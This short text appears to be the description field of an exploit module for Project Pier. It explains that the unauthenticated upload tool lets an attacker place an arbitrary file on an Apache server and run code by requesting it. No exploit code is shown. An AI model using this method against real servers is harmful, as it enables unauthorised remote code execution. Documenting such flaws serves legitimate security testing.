          This module exploits a vulnerability found in Project Pier.  The application's
          uploading tool does not require any authentication, which allows a malicious user
          to upload an arbitrary file onto the web server, and then cause remote code
          execution by simply requesting it. This module is known to work against Apache
          servers due to the way it handles an extension name, but the vulnerability may
          not be exploitable on others.
